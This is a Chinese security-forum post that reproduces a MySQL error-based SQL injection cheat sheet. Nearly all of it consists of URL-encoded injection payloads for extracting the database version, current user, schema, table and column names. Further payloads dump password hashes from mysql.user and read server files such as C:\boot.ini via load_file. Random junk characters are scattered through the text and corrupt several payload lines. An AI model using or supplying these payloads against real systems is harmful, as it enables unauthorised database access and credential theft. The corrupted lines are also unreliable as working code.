找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 2153|回复: 0
打印 上一主题 下一主题

Mysql暴错注入参考(pdf)

[复制链接]
跳转到指定楼层
楼主
发表于 2013-7-27 11:00:46 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
本帖最后由 Nightmare 于 2013-3-17 14:20 编辑 ; |: N, @. C' O; W0 M7 _

8 P2 W) ?& [" t% q4 ?9 J3 B# c: {2 ]% U! k* P+ o# j
Mysql暴错注入参考(pdf),每天一贴。。。& N3 E* ~# Q5 `; h, t" G

2 z6 [4 k+ J. X& D0 B$ IMySql Error Based Injection Reference9 w0 X( v! X7 x0 ~6 [% A: v; ?# q1 g
[Mysql暴错注入参考]
; g& D( S3 F3 lAuthornig0s1992- Z5 X  r" O- m1 Y
Blog:http://pnig0s1992.blog.51cto.com/* `# |4 p3 M4 i4 L' E" x% }
TeAm:http://www.FreeBuf.com/+ b# ?; \) {$ Q# J: ]
Mysql5.0.91下测试通过,对于5+的绝大部分版本可以测试成功, _1 Q6 M4 @  p7 d( C7 y
小部分版本使用name_const()时会报错.可以用给出的Method.2测试
4 ]+ _  M0 U, x- j0 v" c查询版本:9 ~$ {  b! n: m# `4 z& ^0 B8 x
Method.1:and+exists(select*from+(select*from(select+name_const(@@version,0))a+, V! H/ O& x/ ]  K% W5 T
join+(select+name_const(@@version,0))b)c)
& V* x9 [3 o) h% s/ W4 FMethod.2:and+(SELECT+1+FROM+(select+count(*),concat(floor(rand(0)*2),(SELECT+version()))a+from+information_schema.tables+gro3 g. j% S5 V' y5 }
up by a)b)/ U- g- S: |! M
查询当前用户:
0 b5 g" B" C# a; H3 Z( rMethod.1:and+exists(select*from+(select*from(select+name_const(user(),0))a+join+(select+name_const(user(),0))b)c)2 T2 h  [/ j  D$ a9 Y1 X
Method.2:and+(select+1+from(select+count(*),concat((select+(select+user())+from+information_schema.tables+limit+0,1).floor(r) J/ C3 i% m% O5 A6 @; m
and(0)*2))x+from+information_schema.tables+group+by+x)a)- M/ V8 l  \7 p3 c: d! a3 m7 ?1 ]
查询当前数据库:6 S) V9 I! Z" p) Y& j2 A1 @
Method.1:and+exists(select*from+(select*from(select+name_const(database(),0))a+join+(select+name_const(database(),0))b)c)
) ^3 N% J, j* ^9 H: _. sMethod.2:and+(select+1+from(select+count(*),concat((select+(select+database())+from+information_schema.tables+limit+0,1).flo# T% f6 R0 ^8 ~, z
or(rand(0)*2))x+from+information_schema.tables+group+by+x)a)
$ H. Y. N9 f6 _. D% O" f依次爆库and+exists(select*from+(select*from(select+name_const((SELECT+distinct+schema_name+FROM+information_schema.schemata+
: P1 K, A9 q3 o+ tLIMIT+n,1),0))a+join+(select+name_const((SELECT+distinct+schema_name+FROM+information_schema.schemata+LIMIT+n,1),0))b)c) 将n
$ T) p8 m9 T+ N. M& Z顺序替换
% U; I3 \3 T) I: I0 C, Q5 P7 t爆指定库数目:" f& ~+ q* G$ A* e1 s+ H4 N
and+(select+1+from(select+count(*),concat((select+(select+(SELECT+count(table_name)+FROM+`information_schema`.tables+WHERE+t
- J& i! T" y- @" h' @1 Uable_schema=0x6D7973716C))+from+information_schema.tables+limit+0,1),floor(rand(0)*2))x+from+information_schema.tables+group
/ }% g  N9 h. j/ H  Q' w; Y) Y+by+x)a)+and+1=1 0x6D7973716C=mysql
5 X  ~) l, S% l: N! b依次爆表:0 }9 L; [3 i* U; Q# s  Z6 p  b) e! U
and+(select+1+from(select+count(*),concat((select+(select+(SELECT+distinct+table_name+FROM+information_schema.tables+Where+t
9 R. k# G# {4 G6 Z7 D+ N0 o& Bable_schema=0x6D7973716C+limit+n,1))+from+information_schema.tables+limit+0,1).floor(rand(0)*2))x+from+information_schema.ta1 p( C# n8 L1 f! A# \( `1 |! J
bles+group+by+x)a)+and+1=1
% D/ Q4 _" x' u/ X$ C0x6D7973716C=Mysql 将n顺序替换2 {) D* }7 f. R: X" p
爆表内字段数目:  \* i. D' m* H0 T9 ~' _% f/ o
and+(select+1+from(select+count(*),concat((select+(select+(SELECT+count(column_name)+FROM+`information_schema`.columns+WHERE
3 J: x& o; v9 ^* L1 c1 F+table_schema=0x6D7973716C+AND+table_name=0x636F6C756D6E735F70726976))+from+information_schema.tables+limit+0,1),floor(ran
! t& w. ~! t: z' e) ~  S' o0)*2))x+from+information_schema.tables+group+by+x)a)+and+1=1- ]& ?2 h$ W, j7 t2 X- k" f
依次爆字段:
1 Y: h2 d& h3 `7 Kand+(select+1+from(select+count(*),concat((select+(select+(SELECT+distinct+column_name+FROM+information_schema.columns+Where1 m/ c4 e( E% V1 y. n
+table_schema=0x6D7973716C+AND+table_name=0x636F6C756D6E735F70726976+limit+n,1))+from+information_schema.tables+limit+0,1+ F+ O2 F# B4 n- A
loor(rand(0)*2))x+from+information_schema.tables+group+by+x)a)+and+1=1  将n顺序替换
( b/ U; Y. @- m5 r+ J依次暴内容:7 ?0 \2 h+ W$ m, f5 @6 c
and+(select+1+from(select+count(*),concat((select+(select+(select+password+from+mysql.user+limit+n,1))+from+information_sche
: D0 `* }2 _( v/ D" B) ema.tables+limit+0,1).floor(rand(0)*2))x+from+information_schema.tables+group+by+x)a)+and+1=13 N: _# T6 X6 h% c( [
将n顺序替换$ C: y" N$ {: T) b: M2 |5 T' q
爆文件内容:9 }0 ^9 d( C1 _4 {# W% f  T
and+(SELECT+1+FROM+(select count(*),concat(floor(rand(0)*2),(SELECT+substring(load_file(0x433A5C5C746573742E617361),1,64)))a3 n- Y6 ], |. H
from+information_schema.tables+group+by+a)b) " l5 f: C6 [* }+ p; W
0x433A5C5C626F6F742E696E69=C:\\boot.ini 因为只能爆出64字节的内容,需要用Substring()控制显示的字节1 D6 V/ B% }* u4 X  c! N9 R6 E' O5 t
Thx for reading.0 {6 n, d1 e1 _, R- P$ u5 D. s
  k5 G9 Q* Z( i2 I0 [
不要下载也可以, 3 A1 ^1 G% t2 t8 B# \8 f) P3 q7 @+ L

本帖子中包含更多资源

您需要 登录 才可以下载或查看,没有帐号?立即注册

x
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表